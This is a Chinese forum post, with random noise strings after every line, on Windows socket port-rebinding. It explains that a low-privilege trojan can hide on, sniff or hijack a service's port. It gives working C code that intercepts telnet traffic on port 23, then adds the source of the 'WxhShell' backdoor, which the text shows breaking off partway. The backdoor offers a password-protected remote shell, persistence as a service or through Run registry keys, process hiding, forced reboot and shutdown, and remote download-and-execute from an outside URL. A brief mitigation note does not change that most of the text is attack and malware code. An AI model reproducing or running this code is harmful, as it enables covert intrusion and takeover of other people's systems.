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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,bQbj7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EP|OKXRltA  
]ZB^Hi_  
  saddr.sin_family = AF_INET; (|F} B  
c)HHc0KD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9b/7~w.  
)tRqt9Th*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Bj ~bsT@a.  
,1s,G]%M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0x-58i0  
UA{tmIC\  
  这意味着什么?意味着可以进行如下的攻击: b~1]}9TJ  
0!:1o61  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e+!+(D  
>z`^Q[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oj6b33z  
_ 2WG6y;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (\Iz(N["G  
;}tEU'&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  me#?1r  
}|k_sx:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C;T:'Uws  
LxM.z1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {EoRY/]  
wc3OOyP@0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1;\A./FVv  
5,>Of~YN  
  #include w/L^w50pt  
  #include 5kK:1hH7  
  #include `sS\8~A  
  #include    PP{CK4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   =5UT'3p>  
  int main() C)7T'[  
  { Qg7rkRia  
  WORD wVersionRequested; pT90TcI2  
  DWORD ret; >t[beRcR6  
  WSADATA wsaData; X}Ey6*D:  
  BOOL val; )YDuq(g&  
  SOCKADDR_IN saddr; MWsjkI`  
  SOCKADDR_IN scaddr; 23lLoyN  
  int err; o]&w"3vOP0  
  SOCKET s; .`iG} j)\  
  SOCKET sc; \(nb >K  
  int caddsize; U{IY F{;@  
  HANDLE mt; c]#+W@$  
  DWORD tid;   KuU]enC3  
  wVersionRequested = MAKEWORD( 2, 2 ); S~ dD;R  
  err = WSAStartup( wVersionRequested, &wsaData ); E&\dr;{7  
  if ( err != 0 ) { >@NH Al  
  printf("error!WSAStartup failed!\n"); uhyw?#f  
  return -1; 0 !D,74r  
  } L[]*vj   
  saddr.sin_family = AF_INET; F:PaVr3q  
   7,i}M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 di@4'$5#  
02Ftn&bi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m=^`u:=  
  saddr.sin_port = htons(23); j>2Jw'l;?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mp*S+Plp  
  { U4DQ+g(A  
  printf("error!socket failed!\n"); b`NXe7A  
  return -1; K[wOK  
  } ZZkxEq+D  
  val = TRUE; _RLx;Tn)L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j\^0BTZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )KZ1Z$<  
  { xW$F-n  
  printf("error!setsockopt failed!\n"); RL|13CG OP  
  return -1; GM.2bA(y  
  } dQoZh E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \9U4V>p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W\(u1>lj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Z,3:3,]  
u!k]Q#2ZR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?'xTSAn  
  { "2>I?  
  ret=GetLastError(); ?;{fqeJz  
  printf("error!bind failed!\n"); - nWs@\  
  return -1; _%HpB=  
  } sU {'  
  listen(s,2); K3eYeXV  
  while(1) +%Vbz7+!  
  { 0-)D`s%  
  caddsize = sizeof(scaddr); IrJPP2Q  
  //接受连接请求 x^UE4$oo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -{Lc?=  
  if(sc!=INVALID_SOCKET) NDG3mCl  
  { ~~U2Sr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); T5mdC  
  if(mt==NULL) Hx}K w S  
  { -qki^!Y?  
  printf("Thread Creat Failed!\n"); |E\0Rv{H3  
  break; aZ$$a+  
  } 3pxm0|  
  } sZ,MNF8i  
  CloseHandle(mt); _n.2'  
  } LPjsR=xi  
  closesocket(s); DVu_KT[Hd  
  WSACleanup(); +O< 0q"E  
  return 0; !B=Oc!e=K  
  }   ;WQ@dC  
  DWORD WINAPI ClientThread(LPVOID lpParam) "J0,SFu:  
  { ; Q-f6)+&  
  SOCKET ss = (SOCKET)lpParam; fIrl?X']  
  SOCKET sc; x\=2D<@az  
  unsigned char buf[4096]; yOn +Y  
  SOCKADDR_IN saddr; l2DhFt$!=  
  long num; T[w]w  
  DWORD val; }$K2h*  
  DWORD ret; % -~W|Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +39Vxe:Oy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -Yaw>$nJ  
  saddr.sin_family = AF_INET; x+V;UD=mH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a:C'N4K  
  saddr.sin_port = htons(23); _":yUa0D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'qTMY*  
  { j1!P:(  
  printf("error!socket failed!\n"); b8V]/  
  return -1; 2.I'`A  
  } \V@Hf"=j  
  val = 100; ` [ EzU+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) njk.$]M|nf  
  { zE{@'  
  ret = GetLastError(); ;T0Y= yC  
  return -1; P# o/S4  
  } !Jo3>!,j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dzY B0vut@  
  { O*3x'I*a  
  ret = GetLastError(); yVThbL_YJ  
  return -1; 7w7mE  
  } gf!hO$sQ3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h&7]Bp  
  { [3a-1,  
  printf("error!socket connect failed!\n"); o0-7#2  
  closesocket(sc); AL.zF\?  
  closesocket(ss); >3H/~ Y  
  return -1; CroI,=a&,  
  } gf]biE"k  
  while(1) ({3hX"C@Q  
  { "7R"(.~>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5YJn<XEc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1y5]+GU'`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iSTr;>A  
  num = recv(ss,buf,4096,0); QK0  
  if(num>0) &tFVW[(  
  send(sc,buf,num,0); sQ65QJtt0A  
  else if(num==0) ; 6Wlu3I  
  break; _m!TUT8o  
  num = recv(sc,buf,4096,0); |irqv< r  
  if(num>0) dw)SF,  
  send(ss,buf,num,0); %?^T^P  
  else if(num==0) ^'S0A=1  
  break; Lm<"W_  
  } ||y5XXs  
  closesocket(ss); 9X8{"J  
  closesocket(sc); )u7*YlU\I  
  return 0 ; Wxl^f?I`:  
  } OE(H:^ZR  
!FweXFl  
%H:uE*WZ  
========================================================== qvz2u]IOw  
_W41;OY  
下边附上一个代码,,WXhSHELL bS{7*S  
![WX -"lW  
========================================================== Nw@tlT4  
DG8LoWZ  
#include "stdafx.h" >;',U<Wd  
$AAv%v  
#include <stdio.h> <{7CS=)  
#include <string.h> sDnHd9v<?t  
#include <windows.h> &sL(|>N  
#include <winsock2.h> Dm/# \y3  
#include <winsvc.h> eqcV70E8cK  
#include <urlmon.h> %dTkw+J  
66<3zadJZU  
#pragma comment (lib, "Ws2_32.lib") SCk2D!u  
#pragma comment (lib, "urlmon.lib") l-"c-2-!  
aH)$#6${Ap  
#define MAX_USER   100 // 最大客户端连接数 3kFOs$3  
#define BUF_SOCK   200 // sock buffer 7s_#X|A$  
#define KEY_BUFF   255 // 输入 buffer &H!3]  
[B9'/:  
#define REBOOT     0   // 重启 ^Ye i9bXl  
#define SHUTDOWN   1   // 关机 "}UJ~ j).  
#Ag-?k  
#define DEF_PORT   5000 // 监听端口 ko2Kz k  
Ghgx8 ]e  
#define REG_LEN     16   // 注册表键长度 gnmKh>0@6o  
#define SVC_LEN     80   // NT服务名长度 J=4R" _yo  
u-Pa:wm0-  
// 从dll定义API o.t$hv|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |pJ)w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qG7^XO Ws-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A87JPX#R?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ryzz!0l  
c0]^V>}cl  
// wxhshell配置信息 c[ ]_gUp8  
struct WSCFG { ; >3q@9\D  
  int ws_port;         // 监听端口 i(9=` A}  
  char ws_passstr[REG_LEN]; // 口令 e&f9/rfx  
  int ws_autoins;       // 安装标记, 1=yes 0=no gB@Xi*  
  char ws_regname[REG_LEN]; // 注册表键名 "bAkS}(hB(  
  char ws_svcname[REG_LEN]; // 服务名 43pQFDWa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <=8REA?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6k;__@B,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *vFVXJo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FblwQ-D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /_E8'qlx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LZm6\x  
@s J[<V  
}; Pw/Z;N;:V  
+MPM^m  
// default Wxhshell configuration g\&[;v i  
struct WSCFG wscfg={DEF_PORT, m "\jEfjO  
    "xuhuanlingzhe", > 4ex:Z  
    1, b7g\wnV8z  
    "Wxhshell", ([zt}uf  
    "Wxhshell", DGr{x}Kq  
            "WxhShell Service", \B"5 Kp<  
    "Wrsky Windows CmdShell Service", Z<ozANbk  
    "Please Input Your Password: ", oK&LYlU  
  1, j <>|Hi #`  
  "http://www.wrsky.com/wxhshell.exe", ^,')1r,  
  "Wxhshell.exe" 24"Trg\WK[  
    }; O[f*!  
Q=J"#EFs  
// 消息定义模块 /2-S/,a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uZ( I|N$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L+Yn}"gIs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1"3|6&=  
char *msg_ws_ext="\n\rExit."; ^RytBwzKM  
char *msg_ws_end="\n\rQuit."; Rk.YnA_J6  
char *msg_ws_boot="\n\rReboot..."; Rkm1fYf  
char *msg_ws_poff="\n\rShutdown..."; WS8m^~S@\  
char *msg_ws_down="\n\rSave to "; )%x oN<  
cc7*O  
char *msg_ws_err="\n\rErr!"; ^D\1F$AjC  
char *msg_ws_ok="\n\rOK!"; #+HLb  
w\k|^  
char ExeFile[MAX_PATH]; C J S  
int nUser = 0; )ALPMmlRs  
HANDLE handles[MAX_USER]; M>dP 1  
int OsIsNt; I&]d6,  
|WH'aGG  
SERVICE_STATUS       serviceStatus; QlJ cj+_h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h`dtcJ0  
,<F=\G_f  
// 函数声明 m8eyAvi 6  
int Install(void); %"PG/avo  
int Uninstall(void); s42M[BW]  
int DownloadFile(char *sURL, SOCKET wsh); .GUm3b  
int Boot(int flag); jW*|Mu>2  
void HideProc(void); $9<q'hf<w  
int GetOsVer(void); <uUQ-]QOIh  
int Wxhshell(SOCKET wsl); yjUZ 40Dq  
void TalkWithClient(void *cs); 90> (`pI=  
int CmdShell(SOCKET sock); `rsPIOu  
int StartFromService(void); Mg;%];2Nt  
int StartWxhshell(LPSTR lpCmdLine); $Z6g/bD`E  
mZ 39 s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dt(~)*~R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;]zV ?9  
K,e"@G  
// 数据结构和表定义 0UZ>y/ C)=  
SERVICE_TABLE_ENTRY DispatchTable[] = fyPpzA0  
{ ^I03PIy0l  
{wscfg.ws_svcname, NTServiceMain}, 9Z]~c^UB  
{NULL, NULL} %0C<_drW  
}; u-PAi5&n  
sm5\> L3V  
// 自我安装 Y-\hV6v6  
int Install(void) &Oc^LV$6  
{ ]|62l+  
  char svExeFile[MAX_PATH]; bVmHUcR0  
  HKEY key; ZC 7R f  
  strcpy(svExeFile,ExeFile); ~Q"3#4l  
^;jJVYx-PP  
// 如果是win9x系统,修改注册表设为自启动 ^T@ (`H4@  
if(!OsIsNt) { bh|M]*Pq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s.I%[kada  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >(mp$#+w  
  RegCloseKey(key); WZO8|hY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q`z/ S>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V(_OyxeC{2  
  RegCloseKey(key); `s5<PCq  
  return 0; X.hU23w  
    } :)VO,b~r  
  } $Llv6<B  
} -SZXUN  
else { ,?k[<C  
7S$Am84%  
// 如果是NT以上系统,安装为系统服务 eqbQ,, &  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >)*'w!  
if (schSCManager!=0) \MBbZB9@  
{ 2g5i3C.q$  
  SC_HANDLE schService = CreateService HA&7 ybl  
  ( Jb~$Vrdy  
  schSCManager, H'k$<S  
  wscfg.ws_svcname, Y,Dd} an  
  wscfg.ws_svcdisp, 3qJOE6[}%  
  SERVICE_ALL_ACCESS, hw! l{yv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C'&)""3d  
  SERVICE_AUTO_START, _R&mN\ey5  
  SERVICE_ERROR_NORMAL, `i5U&K. 7  
  svExeFile, .GcIwP'aU-  
  NULL, ^hq+ L^$^  
  NULL, |/<,71Ae  
  NULL, .j?`U[V%a  
  NULL, ws8@y r<R  
  NULL abiZ"?(  
  ); j8n_:;i*  
  if (schService!=0) t80s(e  
  { -n&g**\w  
  CloseServiceHandle(schService); e$]`  
  CloseServiceHandle(schSCManager); K"u-nroHW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HT&CbEa4'  
  strcat(svExeFile,wscfg.ws_svcname); & $E[l'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X[/>{rK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d 90  
  RegCloseKey(key); HV O mM17  
  return 0; biAI*t  
    } ZrY #B8  
  } p}q27<O*/  
  CloseServiceHandle(schSCManager); $ N`V%<W  
} ,/0Q($oz  
} rR`'l=,t  
\kSoDY`l&  
return 1; Zoe>Ow8mE`  
} LXYpP- E  
:})(@.H  
// 自我卸载 58xaVOhb  
int Uninstall(void) Ku;|Dz/=o  
{ HYVSi3[  
  HKEY key; MKVz'-`u  
t Gt/=~n9  
if(!OsIsNt) { iMG)zPj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %smQ`u|  
  RegDeleteValue(key,wscfg.ws_regname); ^(z7?T  
  RegCloseKey(key); vJZ0G:1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8vQGpIa,  
  RegDeleteValue(key,wscfg.ws_regname); \H<gKZquR  
  RegCloseKey(key); >,c$e' h  
  return 0; 8VG6~>ux'>  
  } ^n8ioL\*i  
} AI KLJvte  
} -& Qm"-?:  
else { t^ _0w[  
FY;\1bt<<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #yNSQd  
if (schSCManager!=0) k3[rO}>s  
{ u.v 5!G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _N8Tu~lqV  
  if (schService!=0) *R9s0;&:  
  { G!]%xFwYa  
  if(DeleteService(schService)!=0) { ,RmXZnWY  
  CloseServiceHandle(schService); h>ZNPP8N  
  CloseServiceHandle(schSCManager); Oi#4|*b{W  
  return 0; ]vj.s/F~  
  } 758`lfz=_  
  CloseServiceHandle(schService); nW)-bAV<  
  } =^liong0  
  CloseServiceHandle(schSCManager); lMkDLobos  
} .CJQ]ECl7p  
} Xae0xs  
d)@Hx8  
return 1; EY3x o-H  
} 'I$-h<W  
8: #\g  
// 从指定url下载文件 pe^hOzVv  
int DownloadFile(char *sURL, SOCKET wsh) (EW<Ggi  
{ gut[q  
  HRESULT hr; DI9hy/T(  
char seps[]= "/"; <//82j+px  
char *token; eKRslMa  
char *file; mL5Nu+#  
char myURL[MAX_PATH]; j /d? c5  
char myFILE[MAX_PATH]; (PVK|Q55y  
_N`'R.va  
strcpy(myURL,sURL); WP(+jL^-  
  token=strtok(myURL,seps); 'Cki"4%<  
  while(token!=NULL) 3=[#(p:  
  { W&M=%  
    file=token; |gXtP-  
  token=strtok(NULL,seps); eZ>KA+ C[  
  } MmIVTf4  
^b{-y  
GetCurrentDirectory(MAX_PATH,myFILE); Kmy'z  
strcat(myFILE, "\\"); P9d%80(b4  
strcat(myFILE, file); mM`zA%=  
  send(wsh,myFILE,strlen(myFILE),0); _(J;!,  
send(wsh,"...",3,0); T,' {0q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GCrIa Z  
  if(hr==S_OK) 1 zo0/<dk  
return 0; 3C:!\R  
else ^3>Qf  
return 1; XOOWrK7O  
NxOiT#YH  
} euxkw]`h6  
hbZ]DRg  
// 系统电源模块 Qu 7#^%=  
int Boot(int flag) )gX7qQ  
{ z@70{*  
  HANDLE hToken; 4}i2j  
  TOKEN_PRIVILEGES tkp; SW94(4qo  
'eM90I%(  
  if(OsIsNt) { L&D+0p^lI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :eK(9o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l ~bjNhk  
    tkp.PrivilegeCount = 1; ` u|8WK:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CsJ38]=Mt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4Sj;38F .1  
if(flag==REBOOT) { %:jVx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2 X];zY  
  return 0; 2/*F}w/  
} #9R[%R7Nz  
else { |_<'q h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d3nx"=Cy0I  
  return 0; t=-t xnlr<  
} nqp:nw  
  } /mdPYV  
  else { #F>7@N:5  
if(flag==REBOOT) { ^*6So3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }JP0q  
  return 0; S\\3?[!p  
} W^o* ^v  
else { tYe+7s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z`FEB0$  
  return 0; ' 91-\en0  
} \>B$x@-wg  
} t^8 ii  
Nu/D$m'PY  
return 1; ^Vbx9UN/  
} !b !C+ \v  
qcNu9Ih  
// win9x进程隐藏模块 Ou26QoT9XI  
void HideProc(void) Gky e  
{ EnM }H9A  
 9S<87sO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FJ/>=2^B  
  if ( hKernel != NULL ) Z$UPLg3=;_  
  { bCV3h3<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TO(2n8'fdO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n;Nr[hI  
    FreeLibrary(hKernel); *qX!  
  } p"xti+2,  
o {W4@:Ib  
return; R*"31&3le4  
} Qkk3>{I  
 +*W9*gl  
// 获取操作系统版本 3 s@6pI  
int GetOsVer(void) ^)JUl!5j]C  
{ @ij8AGE:  
  OSVERSIONINFO winfo; oVD)Fb%[i9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &Zxo\[lP  
  GetVersionEx(&winfo); 4qd =]i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bqo+ b{i\  
  return 1; AX`>y@I  
  else 8+7n"6GY2/  
  return 0; tQrF A2F  
} .C 6wsmQ  
@Cnn8Y&'  
// 客户端句柄模块 {OH @z!+d  
int Wxhshell(SOCKET wsl) 5B|&+7dCw  
{ P!6 v0ezN  
  SOCKET wsh;  (0wQ [(  
  struct sockaddr_in client; "e3T;M+  
  DWORD myID; i 4}4U  
WxLmzSz{xD  
  while(nUser<MAX_USER) RJYB=y8l  
{ P"Scs$NOU?  
  int nSize=sizeof(client); bNH72gX2Yh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tom1u>1n  
  if(wsh==INVALID_SOCKET) return 1; P' ";L6h  
@]{+9m8G@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IIZu&iZo\  
if(handles[nUser]==0) wsfN \6e  
  closesocket(wsh); tny^sG/'  
else  L+=pEk_  
  nUser++; k=nN#SMn  
  } ?k|}\l[X1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D2,2Yy5 y  
NcuZw?  
  return 0; #mK/xbW  
} A`#/:O4|f  
.wdWs tQ  
// 关闭 socket !nm[ZrS P  
void CloseIt(SOCKET wsh) 5W Z9z-6  
{ nDFF,ge;a#  
closesocket(wsh); ms(Z1ix^  
nUser--; +zl2| '  
ExitThread(0);  WR;)  
} \68x]q[  
M%3P@GRg  
// 客户端请求句柄 7_=7 ;PQ<  
void TalkWithClient(void *cs) #NvL@bH  
{ i"B q*b@  
M*+MhM-  
  SOCKET wsh=(SOCKET)cs; w!5@PJ)~U  
  char pwd[SVC_LEN]; RaT_5PH~g  
  char cmd[KEY_BUFF]; pv}k=wqJ1  
char chr[1]; ~Z{IdE  
int i,j; v M lT  
E7CeE6U  
  while (nUser < MAX_USER) { +,g"8&>  
I7S#vIMXR.  
if(wscfg.ws_passstr) { #A:+|{H"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Qo~zO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yF _@^V  
  //ZeroMemory(pwd,KEY_BUFF); C.#\ Pz0  
      i=0; US.7:S-r"  
  while(i<SVC_LEN) { rw|;?a0  
=JR6-A1>  
  // 设置超时 5PRS|R7  
  fd_set FdRead; NCXr$ES{  
  struct timeval TimeOut; 2w7PwNb*32  
  FD_ZERO(&FdRead); #^] v5s  
  FD_SET(wsh,&FdRead); 4PcsU HR  
  TimeOut.tv_sec=8; H[x$65ND  
  TimeOut.tv_usec=0; p`PBPlUn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }+m")=1{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sc?UjEs  
O:I"<w9_1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4 g%BCGsys  
  pwd=chr[0]; kp$w)%2JW  
  if(chr[0]==0xd || chr[0]==0xa) { (b*PDhl`+  
  pwd=0; ,$,c<M  
  break; KJs/4oR;  
  } q!OB?03n  
  i++; 1Z$` }a  
    } K<g<xW*X  
{\ P`-'C  
  // 如果是非法用户,关闭 socket %x]8^vze  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h{5K9$9=  
} h,!#YG@>  
f6*6*=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HtN!Hgpwg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -aV!ZODt  
A><q-`bw  
while(1) { l$\OSG  
nF)XZB 0F  
  ZeroMemory(cmd,KEY_BUFF); *}@zxFe +  
01_*^iCf5  
      // 自动支持客户端 telnet标准   CD"D^\z  
  j=0; A@?Rj  
  while(j<KEY_BUFF) { ?b,x;hIO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?nwFc3qw  
  cmd[j]=chr[0]; [#3*R_#8R  
  if(chr[0]==0xa || chr[0]==0xd) { Rt6(y #dF  
  cmd[j]=0; \I[f@D-J  
  break; Osk'zFiL<  
  } WxrG o o^  
  j++; g2|qGfl{C  
    } kgl7l?|O  
&| guPZ  
  // 下载文件 6 o!*bWh  
  if(strstr(cmd,"http://")) { !,0%ZG}]7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |GLh|hr  
  if(DownloadFile(cmd,wsh)) uex m|5|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DDwj[' R  
  else  A|90Ps  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :p|wo"=@Ge  
  } w{$X :Z  
  else { ';>A=m9(4%  
[J-uvxD  
    switch(cmd[0]) { knS(\51A  
  ER'zjI>t@  
  // 帮助 {: H&2iF  
  case '?': { ~rl,Hr3Z o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \8}!aTC  
    break; ih[!v"bv  
  } f7y3BWOi]  
  // 安装  L#>^R   
  case 'i': { 4]P5k6 nV  
    if(Install()) ToXgl4:kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Y;M%  
    else #=81`u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]aDU*tk  
    break; 5Kw$QJ/  
    } /9 ^F_2'_  
  // 卸载 }NgevsV>;  
  case 'r': { kHhxR;ymA7  
    if(Uninstall()) {)5tov1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <} BuU!  
    else k7cM.<s!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QO;OeMQv%  
    break; #<k L.e[  
    } G< _<j}=  
  // 显示 wxhshell 所在路径 t)__J\xF  
  case 'p': { Ui43&B  
    char svExeFile[MAX_PATH]; {S6:LsFfm  
    strcpy(svExeFile,"\n\r"); *]#(?W.$w  
      strcat(svExeFile,ExeFile); m.g2>r`NU  
        send(wsh,svExeFile,strlen(svExeFile),0); qPvWb1H:  
    break; # ^q87y  
    } ,g~Iup  
  // 重启 Kwmtt  
  case 'b': { F39H@%R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 921m'WE  
    if(Boot(REBOOT)) 'lIj89h<E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1y8Y/  
    else { T4fVZd)x  
    closesocket(wsh); v\}s(X(J  
    ExitThread(0); >oHgs  
    } Q?xCb  
    break; q,% lG$0v  
    } g-8D1.U  
  // 关机 $uj3W<iw3E  
  case 'd': { >&Ios<67g  
